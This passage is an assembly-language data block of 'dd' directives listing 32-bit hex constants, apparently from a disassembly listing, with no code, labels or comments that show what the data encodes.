		dd 6B6C2018h, 3D24BFBBh, 0F227E1AEh, 0DF569F81h, 1283AED6h
		dd 0E65E858h, 0F2121172h, 1DAC84Ah, 0A777ADBFh,	0A5A3600Dh
		dd 0E85E79E9h, 8CA601BAh, 7195463Eh, 2029C5C8h,	94970414h
		dd 8514E11Eh, 0E7A2EA8Dh, 309B08Eh, 0E609A979h,	183DC170h
		dd 9C71E401h, 592DF910h, 7ED491D4h, 0B64AFB78h,	82055CB4h
		dd 2AAD0160h, 0CB7A5CB7h, 60616AD5h, 4BC7800Ch,	0FCFE81CCh
		dd 0F4012EF8h, 0FC8FABBh, 207B53C5h, 0C003E793h, 21A6D900h
		dd 4731F214h, 96294CE0h, 0BFC82B00h, 59A79F99h,	0EED18B32h
		dd 0F7802003h, 7B50E9F2h, 579B8D7Fh, 4C1CCBA6h,	951CDA6Fh
		dd 27AAFF88h, 124B32CBh, 2EED6DC1h, 22F3F32Ah, 43BB3B10h
		dd 0E9985EBFh, 9D2B1546h, 92843D4Eh, 0F7C39DEBh, 292B72D4h
		dd 7925F75Bh, 80240113h, 0C0D18789h, 0F1025DEDh, 499EACF2h
		dd 49044231h, 5B315B19h, 6B96704h, 0F8E7982h, 0E041EDDDh
		dd 3188BA2Eh, 8560929Dh, 0CF95710Ch, 0CA06FE7h,	4F04EF7Fh
		dd 6784F0BDh, 127DA8C1h, 24CA76Bh, 0B9E1CB80h, 31BAA075h
		dd 0A429A18Dh, 82FC4FA3h, 0E70E118Ch, 41840160h, 0B8669FD0h
		dd 83EF5F10h, 0BBFFBF3h, 56D80CF3h, 888A9D28h, 4B6C2840h
		dd 8033D813h, 5E17D725h, 3555DABCh, 714309D8h, 5F72015Bh
		dd 9620EF73h, 0EC053125h, 0C782B548h, 0EAC2E251h, 0B8C43E09h
		dd 0F1FE9Fh, 6B6AAABBh,	0DF02811Dh, 457DED36h, 5A737F5Fh
		dd 4A6436F8h, 0DAFCC20Eh, 91FCB5D5h, 0EAF28C14h, 8100FB49h
		dd 7A7EDCCBh, 58CA764Bh, 0DFDF30D3h, 1A0907FAh,	809FA0C5h
		dd 0F945A70Fh, 1E40285h, 9505B3B6h, 30DE04F5h, 0A2E225BCh
		dd 0C1F15729h, 1BCCA000h, 0DC2E6Ch, 1021CA87h, 0BA936933h
		dd 0FB1F3B0Ch, 91205401h, 259D0DEFh, 0A7807F0Fh, 483282B7h
		dd 0EA926931h, 278197DBh, 20FEB642h, 0CF25DF02h, 59BD722h
		dd 0A5C01617h, 0C10C71EAh, 0CDF32A0Dh, 203FEE5Ah, 9F6C9A00h
		dd 0C88E2773h, 0F5D4DF05h, 76F4890Fh, 4DB72751h, 0C9095B5Ch
		dd 0DF9C5729h, 7AAEDD5Bh, 0F2480C81h, 18F7E6DDh, 6EF95A6Ch
		dd 0C795134Dh, 6FC11A04h, 20F5FD60h, 0DF92FB9Eh, 758827F2h
		dd 9C44BF9Eh, 9BD5BB1h,	0A5D7F0BDh, 0A1C1CF09h,	2EA2D7AFh
		dd 25EDD98Ch, 291F79E0h, 26F009AFh, 0C45D1914h,	77C70466h
		dd 0BCB01335h, 0BCEF4912h, 0BE1E5A2Dh, 0C0973525h, 91177999h
		dd 0D7205F1Ah, 0BAEB4A7h
		dd 79BC2D8Bh, 9116902h,	91153757h, 3FF7801Ah, 2739F5CBh
		dd 24F5F203h, 4CB135D4h, 0D032DA6Ah, 0F9BEC131h, 28D4A988h
		dd 0BB50027Ch, 37E91C1Eh, 0DBA06C50h, 9B775B44h, 0DEA75C9Dh
		dd 4A37550Fh, 0BC85E123h, 0C82FC691h, 1F03CF18h, 4969592Fh
		dd 0A8688835h, 0D09201A1h, 5FD98B53h, 578A8281h, 732F8C62h
		dd 0E3F8705Fh, 8929739Dh, 0BA5719CDh, 0A3466Eh,	6037BBA3h
		dd 9F78A576h, 473E6F00h, 0AAD27B67h, 3F40049Bh,	0E153E99Ah
		dd 808E2CE3h, 0C6C8CF36h, 8E2F02BEh, 0E204BF66h, 0A65871DDh
		dd 0F36425ECh, 0DC66F695h, 0D1327A00h, 0B73C4C85h, 0F96E955Fh
		dd 4A31A121h, 0A9572720h, 3FED7D08h, 5845E4C0h,	0A8EDB573h
		dd 34601A64h, 640083ECh, 2322D845h, 9702299Dh, 3E7BB832h
		dd 171A50h, 0B032B335h,	5660E938h, 68DD8FA2h, 24525E40h
		dd 2796159h, 2409A640h,	4D270954h, 6E77CB04h, 8F0F272Ah
		dd 0BC60D4A5h, 0A188D82Eh, 0FA61811Bh, 997DC986h, 97F18102h
		dd 0D5638476h, 64AFFB59h, 0E5769F54h, 0F0716463h, 5F0F2E23h
		dd 0FA70EE8Ch, 79019016h, 2FC702AAh, 649A5791h,	28F1DB5Dh
		dd 0D192017h, 0FA685B00h, 8AC63D1Dh, 0BC092FEh,	39E1E605h
		dd 1B895A37h, 5BE25558h, 60FEEFDFh, 658F98B0h, 0C6EAAE05h
		dd 33C1F448h, 0A67E29F1h, 1A5B072Dh, 7FB0FF31h,	25141B54h
		dd 4FFE273Ch, 0C9D38040h, 40189490h, 261BDE69h,	4F431D02h
		dd 0C9571041h, 4A685F93h, 1256BB05h, 16EAA90h, 0D611EE03h
		dd 0E40BD03Fh, 7412B9BDh, 1A46DE8Ah, 8D83EC39h,	0BEBFA67Fh
		dd 0FEFBB42Dh, 490DE06Ah, 614C3927h, 4E3D3948h,	4F6A7AAFh
		dd 56D04160h, 0A5EF0080h, 8D01F95Bh, 0C7950EB5h, 0F74512D6h
		dd 3B11B087h, 1264F8CCh, 0ABD87714h, 0E000325h,	0DEDAA05Ah
		dd 0FFDC0586h, 0A091A8CCh, 0A52DC710h, 294715Fh, 3271BD23h
		dd 181D5937h, 6AED0367h, 0B4AC1034h, 6E9619F1h,	960E631h
		dd 81028460h, 1D207E61h, 2999E7Ch, 0BBFAEB43h, 795D3D8Ch
		dd 6A8D9C78h, 0F07C9DA0h, 972E8550h, 4F487D4h, 72DE6E36h
		dd 0F1E6A057h, 575FB02Dh, 8B08A01Eh, 5308B19Dh,	2EAEF1C5h
		dd 5FF84C72h, 3876FD90h, 0FC2CF1FDh, 9600E20Dh,	0ACBC2AA2h
		dd 27436640h, 0FA5EB54Eh, 0DDFAE9CEh, 9DBBA730h, 2AAEAF51h
		dd 0EAA917FFh, 61603131h, 963EFE79h, 2F26819Ch,	6D000953h
		dd 3847B9EEh, 691400B6h, 7DE3717Eh, 414C9603h, 3280C0FEh
		dd 0F014CFh, 75DEFB95h,	5B7D2A0Dh, 27216EB5h, 8A743381h
		dd 0D41A565Ah, 427D7013h, 5155A04h, 0FDF6500Bh,	0DAEE5BE4h
		dd 0EFB6D758h, 616B3E01h, 7C6AB748h, 380D8023h,	4D4BF5Ch
		dd 0F855A615h, 0D061BC5Fh, 0F71913BFh, 0C029DFABh, 152E5705h
		dd 78EF7478h, 919F48DDh, 20B9851Ch, 7D8D891Eh, 123A776Dh
		dd 372D555Ch, 0C9B204CCh, 81CCC2B9h, 94970D5h, 28D59D09h
		dd 0D2E95649h, 7CA24E77h, 2AD92529h, 54A539E5h,	6AE3D4E1h
		dd 3026EC8h, 7665A709h,	50405F90h, 9249BCB3h, 0DF808233h
		dd 2135FF55h, 16801D91h, 280A42F3h, 8FCA7D05h, 0B893D907h
		dd 0CBC5D522h, 0C1C79BAFh, 11EB8075h, 64265B49h, 0A9710B27h
		dd 0F8B2602Dh, 39739510h, 37181759h, 0CB707A2Eh, 2DD2D427h
		dd 64C52A59h, 9EECF1A9h, 9D29C005h, 60011905h, 96DFE9C7h
		dd 0C1699E40h, 5B73C50h, 0D4BCC849h, 0CB253D12h, 2A1E20AFh
		dd 530182F5h, 967DDCCCh, 6C894D4Bh, 41B898E6h, 0D19DB70Fh
		dd 0D60E4AEAh, 4255DCBDh, 5422AFAh, 36BC8FF5h, 1ABC2DBDh
		dd 83760B8Ch, 95DFDB6h,	13B5D449h, 4BB1ECC7h, 5E61FE09h
		dd 0D78ED620h, 0F8396D13h, 7D96E430h, 0E8A00018h, 298EF69Dh
		dd 624BF988h, 6F35FB8Ah, 8D9BBE30h, 94BFC0DDh, 67B5A9B2h
		dd 0A846792Ch, 0D548431Ah, 0AC968494h, 9D1604D4h, 0E9C63DB3h
		dd 4B26E869h, 4CD98B47h, 0E9ACC002h, 3AB1250h, 5B0B60C2h
		dd 0A5D21EB7h, 9584E35Ch, 0BE651621h, 0B25BEB6Ah, 57F58972h
		dd 0EB00FFC4h, 0E784F04h, 0B4C5E905h, 0C2D4013Fh, 0C8BF688Bh
		dd 6D009A59h, 0D730231Eh, 63F0CFh, 9C477E82h, 0C5DF3E25h
		dd 8C79FA00h, 7CA94A77h, 0C61D0028h, 72E1DC29h,	0CB006389h
		dd 0C58402BFh, 30DB4130h, 5F55D5DEh, 1DEC198Dh,	0E2C39407h
		dd 0A0EEA498h, 7D2C90F4h, 0DB180727h, 50ECD92Ah, 0E56964B1h
		dd 0D0E13412h, 0FF0E1200h, 187D8875h, 495632BAh, 8D03E1D9h
		dd 0AC99EA63h, 814EE0B7h, 8BFF3077h, 2E261C23h,	2D0F5A60h
		dd 3B10820Eh, 0AF03683Ah, 1885574Bh, 625FA880h,	46BA9E0Eh
		dd 0F77080F2h, 370E16h,	77139B25h, 0F83C6BF9h, 0EC648200h
		dd 872FE43Dh, 4419C0C3h, 0C7B61A7Eh, 1680BF3Ch,	0BF00344Dh
		dd 1F5C0D4h, 0A8C803CDh, 6B1F971Dh, 86FC350Fh, 4BD521A2h
		dd 1780A723h, 15E2DF26h, 0A102032Dh, 9EA9FF24h,	56518345h
		dd 0F2B7D37h, 467B806Dh, 0EB0690D5h, 21B1D559h,	4CC360Ch
		dd 7C70F40h, 42EB55F3h,	6F32A1D5h, 0FD21249Eh, 0CA071014h
		dd 18D94496h, 65592D00h, 30AFBD01h, 8AD60032h, 2FD933B2h
		dd 0C85025A7h, 637BE1A8h, 89506D28h, 0F8DCEB00h, 0D359544Eh
		dd 2944D941h, 538DC2Eh,	4C582101h, 0C465D771h, 0ED32D8C7h
		dd 2410B501h, 75014850h, 0AAA34D81h, 3AFDB55Bh,	0A01F47D8h
		dd 567D6CFh, 0CA3B2110h, 0E5C620BFh, 0E13D0CDEh, 62CB0092h
		dd 7F53271Eh, 65ED001Bh, 43803F2Dh, 0F2999CAh, 28A898C2h
		dd 0ABA24C07h, 19FB65Ch, 0AAF24BA5h, 679A4DCh, 440E421h
		dd 8B02C627h, 32B553B7h, 6EEB80D5h, 7333BD96h, 288064C2h
		dd 0B499201Dh, 76A7036Ch, 0B0D41C21h, 371D39h, 8A262A34h
		dd 0E82789h, 24F966F4h,	4931B03Bh, 91E95000h, 0DD8C84A2h
		dd 156A00CAh, 7857A128h, 5C00B094h, 0F9F40EE8h,	350810h
		dd 4E3DA22Eh, 0A68C5E7Ah, 84F845EAh, 0C26C4000h, 0BF033E4Bh
		dd 78C324CEh, 887F18B7h, 0CF022317h, 0D3D2C67Bh, 2D06239h
		dd 209B29C7h, 0D6DC1C43h, 0FAD9F000h, 0E196CF08h, 9E752Eh
		dd 0DE3D23CDh, 2F266EDAh, 33675B28h, 533A8E00h,	0D6870B46h
		dd 9F000CDh, 147CC0FFh,	0F3008F1Eh, 0E70C9993h,	48B1A29Dh
		dd 8D000954h, 1A6AC6DCh, 355451D5h, 0C6D2BA97h,	8B291670h
		dd 5786127Ah, 456400F3h, 17D7B33Bh, 625832C0h, 0C9633DC4h
		dd 2A13DBC7h, 172E72A8h, 1803A348h, 6465E3E7h, 0F0761Eh
		dd 0B12E3C0Bh, 0A8717773h, 31DF0C00h, 119CC4D9h, 41A008Bh
		dd 6B83493Dh, 3CC9191Fh, 98150090h, 0FA506FB5h,	0D7DE0E75h
		dd 0AF8C16FAh, 0E6032E61h, 67B21BEFh, 0D054B06Ah, 3B1DC0B4h
		dd 0AE3F79C7h, 6E24DC01h, 0F084A55Fh, 20ADD892h, 0D3DE4B8Ch
		dd 0A30AFE00h, 6A977B56h, 769F002Eh, 91CD162Bh,	0EA02700Bh
		dd 9EFC7742h, 585360BDh, 22A600CEh, 0A53A60C0h,	5F3AB35Dh
		dd 4BA880EEh, 887C495Ah, 232A6058h, 23C8C51Fh, 78FBD603h
		dd 0CCDA7A8Fh, 45C906D0h, 0E89001h, 26AAA7F0h, 25AF3E78h
		dd 9EA3F801h, 0D538D62Ah, 39144A80h, 63921EC5h,	5D07FEECh
		dd 9D204F8Dh, 0A3E76B30h, 729B0385h, 5F2C35A2h,	0B900E99Eh
		dd 36211EBDh, 4B77B3h, 207C40EEh, 3C5DD11Bh, 0DCDA4260h
		dd 9AEDA52h, 213A6192h,	7FD04880h, 3B001F2Ah, 359DE657h
		dd 486DD1ECh, 0C10F8F29h, 274299B4h, 2140ADF6h,	0CF003EE8h
		dd 523B8FBAh, 26860A47h, 14D4C4D7h, 7D00F714h, 9F048183h
		dd 0AD01BF8Ah, 0E8063B40h
		dd 0BB24FD0Fh, 0E30D1841h, 2C367C79h, 6EB4F94Bh, 0C6F0207h
		dd 5541E577h, 0E0DAF4A2h, 0A24C036Ch, 5625023Dh, 0C03DED16h
		dd 7EBF585Ah, 0D23603B7h, 7BB0E408h, 0D82B3D00h, 31152074h
		dd 34383F17h, 441FD435h, 0FD21D0BDh, 0CE3F0CB1h, 4C7DCC6h
		dd 0D6F3329h, 2164C076h, 0BD3F9F05h, 0AFFF84AEh, 0FAC0B7B5h
		dd 3EC7EC2h, 2CDAF901h,	7AA8D421h, 4D00788Dh, 58EE209Fh
		dd 0E29C45A6h, 2441B072h, 381A9409h, 2CD5D000h,	2975EEDBh
		dd 22C85300h, 70B7FB8Ah, 0F8743944h, 0F77103Fh,	4FA39730h
		dd 340112C0h, 0DF00D540h, 7F0498CEh, 0F6224EEDh, 0F6C31FD4h
		dd 0C6310F02h, 610B25A0h, 141EBCCDh, 3FC04E60h,	184D39ADh
		dd 0C22E0640h, 0F1C68F8h, 0E7749300h, 0DB61C5BDh, 0BB4400B8h
		dd 0B331E4A3h, 0F613EA9Ah, 900976Dh, 9582764Bh,	0EDA31EC7h
		dd 0DD3100DAh, 0FC116B33h, 0C5F248E5h, 0B5078128h, 8021463Ch
		dd 83A27CA3h, 59425B34h, 0C0600A7Fh, 84B20879h,	85BD39h
		dd 0AF1760C9h, 75B45Ah,	0FC523705h, 0E5D9AD81h,	27D6DCE9h
		dd 57BAD476h, 3A640810h, 0F0051275h, 164C0050h,	0E46D82A2h
		dd 69397900h, 384DB233h, 92D6780Dh, 66BC0073h, 4A4EEB5Fh
		dd 412652BBh, 0CA003374h, 45A526A2h, 51A90C35h,	7A0FF591h
		dd 0D03E6E0h, 0D84C97E0h, 231900ACh, 0D4AEF004h, 41F4C83Eh
		dd 26996D12h, 844E4590h, 0D4DE009Ch, 57A009FDh,	2700967Ah
		dd 0AB12E6D1h, 69B6F52h, 63D7EE32h, 20199BAh, 8871C5FCh
		dd 0DD84079h, 0E43DB0FAh, 0E2890652h, 6304C281h, 4EA833Bh
		dd 5C241487h, 37689FE0h, 8D1E2FF2h, 1F63E018h, 0F0C11CFh
		dd 16972251h, 0D36310h,	4C48312h, 88C18149h, 48DC5D1Dh
		dd 6B14F180h, 6895FFCh,	0FD6859CAh, 2471491Ch, 452015BEh
		dd 0EC685978h, 8F833D0Eh, 64FF0841h, 22C42096h,	8957018Bh
		dd 44C7F1E7h, 8706210Ch, 0E9D6803Ch, 0FFFB5A6Eh, 75CC011Ah
		dd 0B80FA743h, 610FC49h, 0EC5033Fh, 0BC92E0h, 0A9983717h
		dd 0CFB10009h, 6FC31A80h, 700712FEh, 385244D2h,	297B5BD0h
		dd 6DC403C8h, 20CC1602h, 652D4ED8h, 3CE68CEAh, 0B700B97Ah
		dd 0E035F14Ch, 17A163Eh, 1AA10A8Ah, 0DDF647C4h,	87F5EA79h
		dd 27005536h, 397C69EBh, 0CC5AD245h, 0BB176612h, 88AF7F1Dh
		dd 0E81CB1E8h, 44403174h, 0FB370CBFh, 0F6D90230h, 905071E2h
		dd 73DC0176h, 29D4BDB8h, 0E99340DEh, 0A76F2D41h, 30D1652h
		dd 0C0889EBAh, 2798D8EBh, 0D12B059Dh, 0F4BD317Ch, 845B0F21h
		dd 0A2414EB6h, 801027ECh, 232DF781h, 383E6332h,	50408990h
		dd 7EF8BF7Fh, 44F767Ah,	54F0B4B6h, 680042D9h, 86C80F5Ch
		dd 27099816h, 0F644D19Dh, 4BCB8017h, 0EB4A5DA2h, 2A611CCh
		dd 66D2FF42h, 0A7D2B64Dh, 11C6902Fh, 28C026B8h,	99B70BB3h
		dd 30F7D9BAh, 0B98B0FC7h, 819E3E65h, 16615CCFh,	0B220B616h
		dd 1C103018h, 6F880F0Ah, 6109F89h, 1C56BD72h, 1AECFF93h
		dd 9CF5FD25h, 537F65B8h, 68A1AC60h, 0E200CF45h,	6A6197EBh
		dd 0DC8FB602h, 34EB6517h, 0B61649A8h, 0A735B8BAh, 121D6187h
		dd 0B1EC5FBh, 11A29093h, 0EA52AA4Eh, 23DD6BEFh,	562C0015h
		dd 0C0F5D5BBh, 0CF075975h, 0E963E567h, 641CF7EBh, 4B581948h
		dd 0C5BCB5B9h, 0DA927BDh, 0E776D6F9h, 0AA716531h, 0F900BFF2h
		dd 4402BB50h, 7CF54BD2h, 57788076h, 32C32Bh, 0D42942A0h
		dd 525CDD6Fh, 0AC372704h, 73EB79ADh, 1FD29591h,	0EB810216h
		dd 75D5EEDFh, 51045BD7h, 5323617h, 7D573ABDh, 2D63A2EEh
		dd 7540406Ah, 0B5BA832Eh, 16225455h, 221EB6F5h,	40C39D09h
		dd 0FEB08B2Dh, 0B1B90B7h, 0D05170E6h, 1E409D43h, 0B790D781h
		dd 6B299D2Dh, 0BD20E417h, 0D4950809h, 963853D8h, 35FECF15h
		dd 0BD30FE09h, 778E1Ch,	0E4293222h, 1C18BB5h, 16BEBD4Fh
		dd 8FB1F88Ch, 2BC1904Dh, 0F5F88AC8h, 0E9DCD0D1h, 95F9C65h
		dd 0D0BCF413h, 6A818D8Dh, 47550903h, 19502F49h,	2E183209h
		dd 85014E53h, 3693A573h, 126B9FBEh, 76F21Bh, 0ACCBB840h
		dd 0F295E1h, 0F0116048h, 5EA9CDE8h, 0E4C3850Dh,	88A73677h
		dd 0FBDF5DE2h, 0B35F2D50h, 0D18C11B6h, 539220Ah, 29A597BBh
		dd 5A38B85Dh, 4A8A368Ch, 372EBFEh, 1A627F29h, 0A22F1475h
		dd 507D004Eh, 69EDBD0Bh, 4C5D280Dh, 9EEE2003h, 9557190h
		dd 9CB96FA2h, 0B00509BCh, 0C5AA3CE9h, 0DC6FC55Eh, 74F65A4Dh
		dd 0BDF601D4h, 0AAEEEC51h, 7A0C73AFh, 0FCFB8300h, 44C48616h
		dd 0C0640EA0h, 249ED430h, 48B909F9h, 0B1D6442Eh, 87DC6F31h
		dd 2F2941FDh, 97B820A9h, 7F0F690Eh, 0FF0B4288h,	95B64056h
		dd 2B5F8031h, 79DBC05Bh, 378F7A83h, 0D22B52F8h,	67C8B72Dh
		dd 0D98B8B45h, 0A17017D3h, 2FD54D54h, 50A01B20h, 569717B9h
		dd 260C60BDh, 71483D08h, 6C02D38Fh, 0DF5FD459h,	0A9C620B8h
		dd 0D92A410Fh, 880DE4C8h, 82549FEAh, 0F7899509h, 60893753h
		dd 2B10F503h, 0BAB561FCh, 0D4597437h, 0B6B0101Eh, 0B1E4F581h
		dd 0E23E6CF2h, 8C17EC2Ch, 0E3A9680Bh, 2D9C82B5h, 0E7F37529h
		dd 1D556E78h, 6D5AA921h, 4E0038E4h, 0F4FF140Ch,	456C999h
		dd 31297950h, 0F3C8AAACh, 0D8C20073h, 0C9469A69h, 0B4006FF5h
		dd 0FAACEE16h, 534952D6h, 2700FA5Fh, 0C024B893h, 800A1F0h
		dd 0E87602Eh, 0B7CBA3Ah, 79723574h, 4A459C59h, 4FB7BFAh
		dd 972FFD8Dh, 85A9D8FBh, 8C6E2E41h, 9D172B3Fh, 9DBA1871h
		dd 34820C5h, 7320E189h,	59D69769h, 65179971h, 0CB34E886h
		dd 2134F7FAh, 14B5DC92h, 4582F1Dh, 9BD0EF5Bh, 45095E9h
		dd 0E9ADD84Fh, 0E055F64Ah, 75E091CEh, 91A0293h,	6BB3D0AFh
		dd 3A2B0CD6h, 0B1F42C79h, 4F712592h, 201E1h, 0B8F28B60h
		dd 81B573C0h, 144B6B61h, 744FDDB4h, 8B33CA40h, 32D49570h
		dd 1FADBD04h, 8505A2AEh, 0F6AA2729h, 0E1B45A22h, 108BB5ACh
		dd 40C56F77h, 0E073CAE9h, 57A2A517h, 0DF902A30h, 0A4A002Ch
		dd 5A78EAA0h, 22938A0Fh, 0D9609089h, 4B991ED1h,	3C80DF31h
		dd 0CF0F3969h, 712F0B27h, 305992AFh, 601D85EAh,	83AE9C1Ch
		dd 0D2925880h, 9FEFE4BBh, 5A4F26C0h, 4A7D8BDh, 53F8A983h
		dd 0E040E690h, 5AD4FDFh, 0AECF6CAAh, 0DD20EFACh, 7D86438h
		dd 52AB022Bh, 64F2C68Ch, 0D6BF0F27h, 3FB40FF2h,	0F11BE0D2h
		dd 0EAA35297h, 54DF254Fh, 0F572257Bh, 0DEA75AFBh, 32B9E231h
		dd 0AC9453DFh, 67714017h, 0D200EC75h, 0A6FE6645h, 1303BD08h
		dd 0ACB4DA56h, 1E00AA72h, 0A485B9CCh, 635A3BAEh, 0C9736CACh
		dd 7D2BD587h, 7570B073h, 2FF44938h, 8520BED2h, 7ECAA2h
		dd 7B0C436Ch, 152A55C1h, 665FF52Dh, 0B59181AEh,	2E5151F2h
		dd 0B5752557h, 53312502h, 3DC420A2h, 0C5FFBB05h, 0B9AC0E2Dh
		dd 0BFD453CBh, 5F241610h, 45AD3854h, 2691B575h,	36DDE00Ch
		dd 661FE190h, 8992B3BBh, 1B76FBBh, 7C1CAF05h, 4EC46FF6h
		dd 60480B29h, 485D8501h, 40C9B5F3h, 0D6BF6102h,	0ACDBC5AEh
		dd 29DB4BCBh, 0A8CA1C81h, 0D94A800Fh, 70BE6096h, 1D9103C9h
		dd 880CFCBAh, 5A50763Fh, 908234DBh, 0FB8B01B9h,	459DA952h
		dd 1E115068h, 2E684600h, 0F8EA379h, 27119989h, 0EE8A4530h
		dd 0D11D0299h, 5C717BC9h, 67F3407Bh, 0E20B0997h, 0D7858D3Ah
		dd 2362CF4Fh, 359D702h,	63CAF900h, 0ED8A601Eh, 0AB86D4B5h
		dd 6528F6C2h, 31702F17h, 0BD612140h, 45AD0179h,	152EB10Ch
		dd 0EA386A2Ah, 0CA4FBF5Bh
		dd 408C9060h, 0C9280206h, 10E9D0D7h, 453C5220h,	0F1CD0020h
		dd 0A03EDEC2h, 0F509C71Eh, 0C469D01Dh, 18CA12Bh, 37C6EEh
		dd 0D20927C4h, 46747780h, 0ADF2F339h, 91B155D1h, 27B82B5Fh
		dd 3FBD96EBh, 5EA11857h, 68D343Fh, 0C9B171B7h, 238725F6h
		dd 0F7CA259Dh, 0DEFF8B7Ah, 0A113F4FFh, 0DBB34948h, 978B301h
		dd 3A0BBD85h, 0A65E20CBh, 63DBA05Dh, 0BC7B12F9h, 6271FE8Fh
		dd 9C7A202Dh, 0EF5FB34Eh, 25D4DAADh, 481440DFh,	0E3DEC142h
		dd 271E8000h, 0B966D633h, 5A06178Dh, 5BCDB050h,	3AB66176h
		dd 3612574Bh, 4041674Fh, 0C83B682Eh, 0CB006951h, 0CC179BEFh
		dd 708C0h, 2415178h, 297E70D9h,	95DD44B5h, 0DE95DFD0h
		dd 6C27F671h, 0CEBBD4B2h, 0DAFD0071h, 4E98B989h, 517B0AFCh
		dd 16842362h, 0BB7D02D8h, 7377ED4Dh, 2384F80Eh,	0DE3B9B01h
		dd 319EA435h, 68965C9Ch, 429B5B9h, 0E0EAED7Fh, 0D151686Dh
		dd 20C92A5Ah, 0B96EB97Eh, 0B0ACC02Eh, 5099D71h,	7540BD5Fh
		dd 93E42A6Fh, 0A8D520BEh, 0DE00181Bh, 8ACBAEF4h, 0B520BA96h
		dd 0E6D73E89h, 0A1BD1615h, 338DFE15h, 0C018F83Fh, 0BD23901Ah
		dd 1825E711h, 2733AC2Bh, 0B975BB7h, 38776CB3h, 40BDF3B6h
		dd 9D13BB13h, 65BFAB6Dh, 2AE4C856h, 391E3A0Eh, 60A28E66h
		dd 3790FC5Dh, 6B5B5E9Fh, 161423C6h, 95F60E1Eh, 0BB500110h
		dd 7F79D49Ch, 0E9EEAD6Fh, 0CE81C729h, 7F7EA68Ch, 9FB9C480h
		dd 0BA61038Eh, 697135DDh, 0D019ADB5h, 0BB8FC32h, 5738C6DAh
		dd 0FD7DC275h, 5425716Dh, 8C12DC7Ah, 730662Ah, 626FD3h
		dd 1BFD2161h, 0D7809B1Fh, 965B3E09h, 0EFB30752h, 0E69008EBh
		dd 22C4F56Bh, 13985F97h, 8601BCBBh, 965F3692h, 0CA3AF98Bh
		dd 0D4E4A028h, 275AB0B8h, 255B2B39h, 0E1181979h, 9E4D5E09h
		dd 6935DCF8h, 0F5DA9DDCh, 6BD98739h, 1823076Bh,	450CDE2Dh
		dd 0A2F9A8F5h, 0D381206Eh, 312D6433h, 64D54D63h, 385B6019h
		dd 0AA027EAh, 0D5200E50h, 0EDFAC629h, 0CE1CDC1Fh, 5527C661h
		dd 26009E37h, 0E9958EEAh, 6043262Fh, 0A19274Ah,	0D62F30CFh
		dd 0CF4B79B7h, 14D789CBh, 3B4D007Bh, 0B760FE18h, 0C400ABBCh
		dd 0D2DC6B4Bh, 0B05A595h, 0E6E9D797h, 70B70558h, 4ABF7339h
		dd 7C9A20Dh, 0CE7F25A9h, 66178B90h, 3F75BAh, 36DBF5Bh
		dd 0C3815829h, 0CCBD60E8h, 93B200B5h, 2654DC95h, 58751040h
		dd 0DF6968F4h, 207850A9h, 61042AA1h, 49BD3159h,	33FF69D1h
		dd 8AFF62Fh, 32A985h, 81F38B58h, 711EB8F0h, 7D2D5FD9h
		dd 0C080D72Fh, 7E0D3A5Bh, 6158DC95h, 401779BDh,	477B1112h
		dd 0BE660402h, 75504AEBh, 8F0974F1h, 18721803h,	0E815776Ch
		dd 4E31005Bh, 0ACF4A49Bh, 8102F058h, 484694EBh,	0DD6055Ah
		dd 0FC139088h, 0D31880EEh, 85DC7DF6h, 0FEF1B58Fh, 3F0AE200h
		dd 0EDDA999h, 0CC211CEBh, 76435340h, 3B012C22h,	0DBEF8312h
		dd 3FC0A5EDh, 89D66F5h,	2B032166h, 4A89EF8Bh, 72103AD8h
		dd 1B13007Eh, 7693E8FFh, 910EA5F0h, 4027212Dh, 0E99958D3h
		dd 22D70F1Bh, 0E363EFC1h, 211B1DA1h, 2348892Eh,	43E5D88h
		dd 95EDD5EFh, 35201C62h, 33EF91h, 0BFC052E4h, 0A51B175Eh
		dd 0C8217760h, 663E356h, 241CD8E8h, 723A1968h, 4AD00CB8h
		dd 0C211DEh, 58D27C4Bh,	0A1761EA8h, 301F603Ah, 539B21CDh
		dd 59EC037Ch, 0C8AC712Bh, 4C73B800h, 0DC6F24E1h, 303B7546h
		dd 22302F3Ah, 0B700D50Ch, 16EEA587h, 0CCFEADDEh, 6E211108h
		dd 0D3B7ED07h, 2380C492h, 0A0075991h, 14B2A490h, 0E35C3036h
		dd 0C33D6900h, 89046308h, 0E34EE4FDh, 0F1EBAE00h, 6DF83498h
		dd 0A6A900D2h, 1D8B9BF9h, 1E0038EFh, 0E48AFD84h, 0B209Ah
		dd 513CBBD9h, 1D1AD659h, 4B64CB02h, 0E0941C78h,	0D02B3Ch
		dd 205DB5D9h, 0BFDBCCD5h, 0EB0E1800h, 329D7E74h, 7D620099h
		dd 0F1B0753Ch, 770036BCh, 9E2C6957h, 0FC2CEDEh,	0E4F685BEh
		dd 679D8C20h, 6EF832E6h, 5700957Ah, 124FBC5Ah, 60E39Bh
		dd 0E79FC1A1h, 0A2C63F27h, 96053Ah, 63F52DF7h, 0E81C9335h
		dd 14291C8Ah, 0A1307A8Bh, 357BD621h, 64D76F00h,	0D457854Eh
		dd 156A004Fh, 10A45A0Ch, 22009972h, 0D5680F8Bh,	30E9B394h
		dd 8340C50Dh, 0CE3A7C95h, 0CD10602Ah, 3510BE3h,	0EBAA39A4h
		dd 830C9ACh, 0DBE721D2h, 0E2CAE60Bh, 28E500D8h,	516D6463h
		dd 0EA1CC9F0h, 0EF434A27h, 67CC9EDDh, 414D38A0h, 80F2EEDBh
		dd 568F9711h, 0CBA6F65h, 0EA74CAE9h, 21C09B08h,	0E85697A9h
		dd 792760CCh, 913ABE28h, 0C466DA06h, 3C92938h, 18C7DC77h
		dd 10029F69h, 0EBD91487h, 0FEA480B6h, 0C0996058h, 0CA071E98h
		dd 52079A39h, 16461CCBh, 41E0D177h, 3FEF8h, 58679815h
		dd 91BA8C4h, 1A3CBF00h,	46BBF251h, 0E0C11D4Fh, 56F04796h
		dd 0C77CD09Ah, 15005EA4h, 11FE6D5Bh, 74065FCFh,	0E8F0F507h
		dd 0FCD207A9h, 23315270h, 8308389h, 0B04A21FFh,	0B6F00ED2h
		dd 57408248h, 8E843FC7h, 19B3700h, 592D7B2Ah, 1F9F0045h
		dd 12670A5Bh, 18608C6Fh, 0E8440840h, 0C2F50EB5h, 9FE6D30Fh
		dd 0CF0C2817h, 6918D216h, 404CAD2Eh, 43615AD1h,	0C0532F0Fh
		dd 0C0B90F38h, 0C609EF86h, 8513093h, 0A0914930h, 0A5901467h
		dd 0CAE6A187h, 0ACEF00A1h, 59442113h, 4C330FB2h, 0E80851h
		dd 13A48C21h, 6291D62Ch, 236E3B00h, 0FDCBF32Eh,	0B461C367h
